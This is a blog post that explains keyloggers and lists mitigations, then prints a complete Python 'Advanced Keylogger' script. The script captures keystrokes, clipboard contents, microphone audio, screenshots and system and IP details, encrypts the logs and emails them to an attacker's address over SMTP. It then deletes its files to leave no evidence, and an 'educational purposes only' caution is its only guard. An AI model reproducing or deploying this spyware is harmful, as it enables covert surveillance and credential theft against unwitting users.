Keylogger

What is a Keylogger?

In the world of cybersecurity, there exists a diverse range of tools, some used for noble purposes and others with malicious intent. One such tool that has gained notoriety is the keylogger. This blog post aims to shed light on what a keylogger is, how it functions, the necessary components to create one, and the importance of implementing effective mitigation strategies.

A keylogger, short for "keystroke logger," is a software or hardware device designed to record every keystroke made on a computer or mobile device. Its purpose is to capture sensitive information, such as usernames, passwords, credit card details, and other personal data, without the user's knowledge or consent. While keyloggers can have legitimate uses, such as monitoring employees or recovering lost data, they are more commonly associated with cybercrime.

Functionality of a Keylogger

The functionality of a keylogger revolves around capturing and logging keystrokes. Once deployed, it monitors keyboard inputs, intercepts keystrokes, and stores the recorded information. Depending on the complexity of the keylogger, it may also capture screenshots, track clipboard content, or record mouse movements. The captured data is usually encrypted and sent to a predetermined location, allowing the attacker to extract and analyze the information later.

Mitigation for Keylogger

As the threat of keyloggers persists, it is essential to implement robust mitigation strategies to safeguard your devices and personal information:

  1. Use Antivirus Software: Install reputable antivirus software and keep it up to date. Regularly scan your system for malware, including keyloggers.

  2. Keep Operating Systems and Applications Updated: Apply security patches and updates promptly to protect against known vulnerabilities that keyloggers may exploit.

  3. Be Cautious of Phishing Attacks: Keyloggers are often distributed through malicious email attachments or compromised websites. Exercise caution when clicking on links or downloading files from unknown sources.

  4. Implement Firewall Protection: Utilize firewalls to monitor and control network traffic, preventing unauthorized access to your system.

  5. Use Virtual Keyboards: When entering sensitive information, such as passwords or credit card details, consider using virtual keyboards that bypass keyloggers by allowing input through mouse clicks.

  6. Regularly Review and Monitor System Activity: Keep an eye on unusual or suspicious behavior on your computer, such as unexpected processes running or excessive network traffic.

Components Required to Build a Keylogger

  1. Programming Knowledge: Creating a keylogger requires a solid understanding of programming languages, such as Python, C++, or Java, depending on the intended platform.

  2. Operating System Compatibility: Keyloggers can be designed for various operating systems, including Windows, macOS, and Linux. Developers need to tailor their code to match the targeted environment.

  3. Persistence Mechanisms: Keyloggers are typically intended to run silently in the background. Implementing persistence mechanisms ensures the keylogger starts automatically whenever the system boots up.

  4. Stealth Capabilities: To avoid detection, keyloggers often utilize techniques to hide their presence from antivirus software and other security tools.

  5. Data Storage: Keyloggers require a means of storing the recorded keystrokes. This can involve local storage on the compromised device or remote storage accessed by the attacker.

Creating or distributing keyloggers with malicious intent is illegal and unethical. However, for educational purposes and understanding how to defend against them, there are open-source keylogger projects available on platforms like GitHub. It is crucial to approach these resources responsibly and use them only within legal boundaries and for ethical reasons.

Conclusion

Keyloggers can be powerful tools with legitimate uses, but they also pose significant risks to individuals and organizations when exploited for malicious purposes. By understanding how keyloggers operate.

Advanced Keylogger (Python)

Caution: For educational purposes only, using spyware unethically is ILLEGAL.

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import smtplib

import socket
import platform

import win32clipboard

from pynput.keyboard import Key, Listener

import time
import os

from scipy.io.wavfile import write
import sounddevice as sd

from cryptography.fernet import Fernet

import getpass
from requests import get

from multiprocessing import Process, freeze_support
from PIL import ImageGrab

keys_information = "key_log.txt"
system_information = "systeminfo.txt"
clipboard_information = "clipboard.txt"
audio_information = "audio.wav"
screenshot_information = "screenshot.png"

keys_information_e = "e_key_log.txt"
system_information_e = "e_systeminfo.txt"
clipboard_information_e = "e_clipboard.txt"

microphone_time = 10
time_iteration = 15
number_of_iterations_end = 3

#CANNOT be a GMAIL account
email_address = "insert email address here"
password = "insert email password here"

username = getpass.getuser()

toaddr = "insert email address here"

key = "insert encryption key here"

file_path = "C:\\Users\\adan0\\PycharmProjects\\Keylogger\\Project"
extend = "\\"
file_merge = file_path + extend

#send key log email
def send_email(filename, attachment, toaddr):

    fromaddr = email_address

    msg = MIMEMultipart()

    msg['From'] = fromaddr

    msg['TO'] = toaddr

    msg['Subject'] = "Key Log File"

    body = "Body_of_the_mail"

    msg.attach(MIMEText(body, 'plain'))

    filename = filename
    attachment = open(attachment, 'rb')

    p = MIMEBase('application', 'octet-stream')

    p.set_payload((attachment).read())

    encoders.encode_base64(p)

    p.add_header('Content-Disposition', "attachment; filename= %s" % filename)

    msg.attach(p)

    s = smtplib.SMTP('smtp.gmail.com', 587)

    s.starttls()

    s.login(fromaddr, password)

    text = msg.as_string()

    s.sendmail(fromaddr, toaddr, text)

    s.quit()

    send_email(keys_information, file_path + extend + keys_information, toaddr)

#gather computer info
def computer_information():
    with open(file_path + extend + system_information, "a") as f:
        hostname = socket.gethostname()
        IPAddr = socket.gethostbyname(hostname)
        try:
            public_ip = get("https://api.ipify.org").text
            f.write("Public IP Address: " + public_ip)

        except Exception:
            f.write("Couldn't get Public IP Address (most likely max query")

        f.write("Processor: " + (platform.processor()) + '\n')
        f.write("System: " + platform.system() + " " + platform.version() + '\n')
        f.write("Machine: " + platform.machine() + "\n")
        f.write("Hostname: " + hostname + "\n")
        f.write("Private IP Address: " + IPAddr + "\n")

computer_information()

#gets clipboard contents
def copy_clipboard():
    with open(file_path + extend + clipboard_information, "a") as f:
        try:
            win32clipboard.OpenClipboard()
            pasted_data = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()

            f.write("Clipboard Data: \n" + pasted_data)

        except:
            f.write("Clipboard could not be copied")

copy_clipboard()

#gets audio
def microphone():
    fs = 44100
    seconds = microphone_time

    myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=2)
    sd.wait()

    write(file_path + extend + audio_information, fs, myrecording)

microphone()

#get screenshots
def screenshot():
    im = ImageGrab.grab()
    im.save(file_path + extend + screenshot_information)

screenshot()


number_of_iterations = 0
currentTime = time.time()
stoppingTime = time.time() + time_iteration

#timer for keylogger
while number_of_iterations < number_of_iterations_end:

    count = 0
    keys = []

    def on_press(key):
        global keys, count, currentTime

        print(key)
        keys.append(key)
        count += 1
        currentTime = time.time()

        if count >= 1:
            count = 0
            write_file(keys)
            keys = []

    def write_file(keys):
        with open(file_path + extend + keys_information, "a") as f:
            for key in keys:
                k = str(key).replace("'", "")
                if k.find("space") > 0:
                    f.write('\n')
                    f.close()
                elif k.find("Key") == -1:
                    f.write(k)
                    f.close()

    def on_release(key):
        if key == Key.esc:
            return False
        if currentTime > stoppingTime:
            return False

    with Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()

    if currentTime > stoppingTime:

        with open(file_path + extend + keys_information, "w") as f:
            f.write(" ")

        screenshot()
        send_email(screenshot_information, file_path + extend + screenshot_information, toaddr)

        copy_clipboard()

        number_of_iterations += 1

        currentTime = time.time()
        stoppingTime = time.time() + time_iteration

#Encrypts files
file_to_encrypt = [file_merge + system_information, file_merge + clipboard_information, file_merge + keys_information]
encrypted_file_names = [file_merge + system_information_e, file_merge + clipboard_information_e, file_merge + keys_information_e]

count = 0

for encrypting_file in file_to_encrypt:

    with open(file_to_encrypt[count], 'rb') as f:
        data = f.read()

    fernet = Fernet(key)
    encrypted = fernet.encrypt(data)

    with open(encrypted_file_names[count], 'wb') as f:
        f.write(encrypted)

    send_email(encrypted_file_names[count], encrypted_file_names[count], toaddr)
    count += 1

time.sleep(120)

#Leave no evidence behind
delete_files = [system_information, clipboard_information, keys_information, screenshot_information, audio_information]
for file in delete_files:
    os.remove(file_merge + file)
Next
Next

Cybersecurity Home Lab